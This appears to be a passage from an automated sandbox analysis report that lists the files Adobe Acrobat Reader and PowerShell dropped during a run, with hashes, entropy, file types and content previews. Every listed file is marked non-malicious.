SHA-512:	E347AF3307F3C379BC1BAA41D07C4931B31BC11B49920BFC02845554DF4F9C35A92EF8ADD902FB53340B357AE0958747AC13EEB5D0BFD237F07D535F3BE6CD02
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3887e05a-c2ec-4849-8e5a-855fe3b67e50","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719882686,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.6639696852602395
Encrypted:	false
SSDEEP:	24:Yv6Xiix2amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSH:Yvyx4BgkDMUJUAh8cvMH
MD5:	2AC0F76BB04C32237D2AE6F7371DBFA2
SHA1:	8C863191881D7B6BDBB33E762D80255E6AA7E115
SHA-256:	881E0F838BF65BDC4CD822AD61797FE74E898A34104D0ED8CA75774C51CC49B5
SHA-512:	E13610F25CDF514034136E4175B3FE2D1966523D3790C768529CEDEE97B06D4991D3620D45B52E3FE5CFA4F3FBD81C5DB393F1047D766817BD7FF3F61D77115A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3887e05a-c2ec-4849-8e5a-855fe3b67e50","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719882686,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.227487061172924
Encrypted:	false
SSDEEP:	6:YEQXJ2HXrdaR+FIbRI6XVW7+0Y8BoEeoAvJfshHHrPeUkwRe9:YvXKXU0YpW7xBZVGUUUkee9
MD5:	103F4EF6C196FF26D64B85229C2B543C
SHA1:	FB82B99A84D4AC14EFB055219DBD0B09984ADE6C
SHA-256:	B5FFE3CA18B85A236A1EF54873FCF388500B0FA0F3287F13935F613E6362CB7A
SHA-512:	EF460BE6F63FD4094DFFC082F22F8F1647C3A168DF359BDC72B96DB5E783F22DC4D2EAF03470B3B154181BA18E71F8FE8D979189B436F480F959CE2A9F08868E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3887e05a-c2ec-4849-8e5a-855fe3b67e50","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719882686,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.241737557630824
Encrypted:	false
SSDEEP:	6:YEQXJ2HXrdaR+FIbRI6XVW7+0Y8BoEeoAvJTqgFCrPeUkwRe9:YvXKXU0YpW7xBZVGTq16Ukee9
MD5:	2EB4539936393EDBD949C1D2B11D0462
SHA1:	B14570BBFE199936E1500A97DBC6964CCBC1418C
SHA-256:	B0E21EC0C5DB3EA8A8B3B87CE31AB1E11D51D98BEC4F90ACAC8545592153CE1D
SHA-512:	E7A373ED8B06DFEDA4412C83F1DBF3D5D20C5F10EA7EA70ADA4FF6101B1CCE63D9D46929918375D491961E69EF1A5F0A794F86B5433A0614C11466BA1657BC80
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3887e05a-c2ec-4849-8e5a-855fe3b67e50","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736719882686,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.131342269676692
Encrypted:	false
SSDEEP:	24:YvT94aTlsBayvdyvVkxOesOx+s/4HMwrjgj0Sli0x2rP2LS/CciRWMC+5eDy9/Xb:YjyI9kOROxT4skyQYcPRLiMM7Ay9/Xb
MD5:	C560F7EC50ED4617E4EDB8A6DCCE4DA9
SHA1:	CE7628BC29B89563B8EEBDB0C52842644B5F5D85
SHA-256:	1E9D7C6A9DE84BAED0CCEF7C5C9EFEB06ACA731DE9F1B0344844FF0A6CCAFC0A
SHA-512:	9D2EE69AC92996BC6EC8B5C3E596F44F9DDB39ED62AED12AA4F58C4A21C2F30F8AACD9CFD12967AE53B9E4F5D44664360CA11447AFAB54D74DC8D93379C1FC77
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"4ae1dd095ad1dbf91625c5c6b8d684d8","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736540647000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"975243510db2d860e19e57ab08b520ef","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736540646000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"89f2670d8cc23b01aba9a88b77e85cdb","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736540646000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"82ab0eb6bf59c79d57460cd6f7ecb744","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736540646000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"414190a790eaec60309dd10fcdd78079","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736540646000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"7e0c3993785609125f01219901709952","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9864562693602495
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/SpHv4zJwtNBwtNbRZ6bRZ4cvF:TVl2GL7ms6ggOVpAzutYtp6PP
MD5:	4DD42AD06C596BB18B9D2FA7212F4910
SHA1:	D7FD84D8E638BD0DEEDC5DC77D099B91C134A953
SHA-256:	4E443A1AAAB264F629CDFA5AE51B78257370895EB008E881D2B8FC1E5E1D8550
SHA-512:	0E492675C797D29AC55956FD1C0864BF247A2DE890E744D37874A49F2695AE5943FD7679D0FD5701FBACE6415E850AB70306422ACC617BC69A956B9DD950B952
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3379227487623206
Encrypted:	false
SSDEEP:	24:7+tMaAD1RZKHs/Ds/SpHvPzJwtNBwtNbRZ6bRZWf1RZKYWqLBx/XYKQvGJF7ursM:7MlGgOVpnzutYtp6PMiqll2GL7msM
MD5:	1B3D9D4A97C023B65562B0950A0C6454
SHA1:	47AF61D0DD22C19B6330251B981B65585422E067
SHA-256:	D7BFBC18BFB391915DFC25289E6739CC782489AEBD632C53FE165ADFE75AC472
SHA-512:	FFD66EAEF3D41EFE0C4E8F5DBE590EB7CA010F0C2DA8AEDB78E5BE964140D6BC0DAF8B06D84515676BC08E14344C0330F012628211A6127064E7F7375FAB0D1B
Malicious:	false
Preview:	.... .c.....J.a7......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgEdtVh3mG+53Yaw+3Xpfu9K344Yyu:6a6TZ44ADEEdx3mG+5olKI4K
MD5:	86709842805ABD12E27A878D2A7D6241
SHA1:	5934CC5D6BE2E06AEED44BE976076FAC108E377C
SHA-256:	10CEFC9950F49101B6F2D6A516DBD6ACD11F6F72646F99215834BB239CDB2B49
SHA-512:	CB0E2494B5E442E09B6C308BC4583CAFBB4B9D69019A5991B00B1F28D4B56D8F7D35481B0F13159FF0BB06804E4422E7DF0A9686976CCCC723CE668B8EE56DDA
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul/nq/llh:NllUyt
MD5:	AB80AD9A08E5B16132325DF5584B2CBE
SHA1:	F7411B7A5826EE6B139EBF40A7BEE999320EF923
SHA-256:	5FBE5D71CECADD2A3D66721019E68DD78C755AA39991A629AE81C77B531733A4
SHA-512:	9DE2FB33C0EA36E1E174850AD894659D6B842CD624C1A543B2D391C8EBC74719F47FA88D0C4493EA820611260364C979C9CDF16AF1C517132332423CA0CB7654
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI7e788.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5030768995714583
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEWcl:Qw946cPbiOxDlbYnuRK+bDWcl
MD5:	FE192591362A5E5079E54666E4D44B27
SHA1:	256532F3DF6344D88D07DDB5205CE0FD136145E4
SHA-256:	7BFF32738D586ABD3D4C6A5983777DDAF7CBD07EA42C9E5337034160D835D101
SHA-512:	291968F6AF28C770207A94BF2EFB58682BEA0F3C2F36CA6D6A2FECC08856C0F45A1932396B0FE850ED1C91F31670026D22A64B814AFF8A61904A9E1BD3F5BE29
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.5.:.2.4.:.0.7. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hjbqszuv.cmr.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pobsnfad.jad.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 15-24-01-324.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.345724549051725
Encrypted:	false
SSDEEP:	384:c2xqJDgvfoxHg238fgSZM2FUwjKb1P/sQrpTtVz8Ubbm5Ryawh4KAtAxk0SIxyqS:Lua
MD5:	56C51A308486C95CFC5811B24208B14B
SHA1:	3769334CD8C3FAFA5B5A3889BDB84825FF7C0389
SHA-256:	74B0650859D59A763180FB8C74149D4D68C34B3D90D4AFCA23DDEB440576DB30
SHA-512:	AF32CFF38EF062D907C4F2AE7492B20EAC7386E3F690B4354887B86BFE0BFC6CABBEE99F2FE8821B3984BD99A3B42A0021ED4728DB118821D47ADC3D41553EF7
Malicious:	false
Preview:	SessionID=3f15f3f4-5167-44af-ac7b-ee4181b9560f.1736540641395 Timestamp=2025-01-10T15:24:01:395-0500 ThreadID=8008 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=3f15f3f4-5167-44af-ac7b-ee4181b9560f.1736540641395 Timestamp=2025-01-10T15:24:01:396-0500 ThreadID=8008 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=3f15f3f4-5167-44af-ac7b-ee4181b9560f.1736540641395 Timestamp=2025-01-10T15:24:01:397-0500 ThreadID=8008 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=3f15f3f4-5167-44af-ac7b-ee4181b9560f.1736540641395 Timestamp=2025-01-10T15:24:01:397-0500 ThreadID=8008 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=3f15f3f4-5167-44af-ac7b-ee4181b9560f.1736540641395 Timestamp=2025-01-10T15:24:01:397-0500 ThreadID=8008 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.389422300293241
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbI:P8
MD5:	F3CD7689A2B19C080848DCA5F7380F6B
SHA1:	B4E693BD33B4C9AA4A87F77C63356E0530719D2F
SHA-256:	10670B03318160D7BDC95D0777614B8057C5A2A29AB671DB18DA9F549F38BBC3
SHA-512:	901537458D610FA0D00199E3414416D797B03AF6B5495E4887E7DABF437EA869C216E8103E2DBFEB6C943DAC981B071E046513374BBD1BB675CA9E0F62C88AAA
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\0cf795a6-d074-403e-99c7-b6f83e4329bf.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\710c63ed-e925-49a8-8e42-d8288e3703ec.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 42290
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/Wfdpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WL07oXGZfqeYIGNPB:u/3mlind9i4ufFXpAXkrfUs03WLxXGZe
MD5:	B3AAF2972C2CA3B974C24C0EB7DBBC4C
SHA1:	75BD5DEB50D1D6170C1D88A68D535252B0EACD64
SHA-256:	36966CEDEAB97851C3DC1CF94F34FA72EDC32ED57D699EA5E103AC80C5BEB649
SHA-512:	C145E80F2CA1936FCBD4F16E4578AFFE6FE00A47319F2904F71EC68876A2226A6D9FD2F4ED5F230444426056E27439346E4154B5C3E54468DD97873D21C71DFA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\bbf19d87-be5e-4bb7-92de-4564e1b3c51c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\f822ace7-0698-472c-ab3c-04e67552834e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
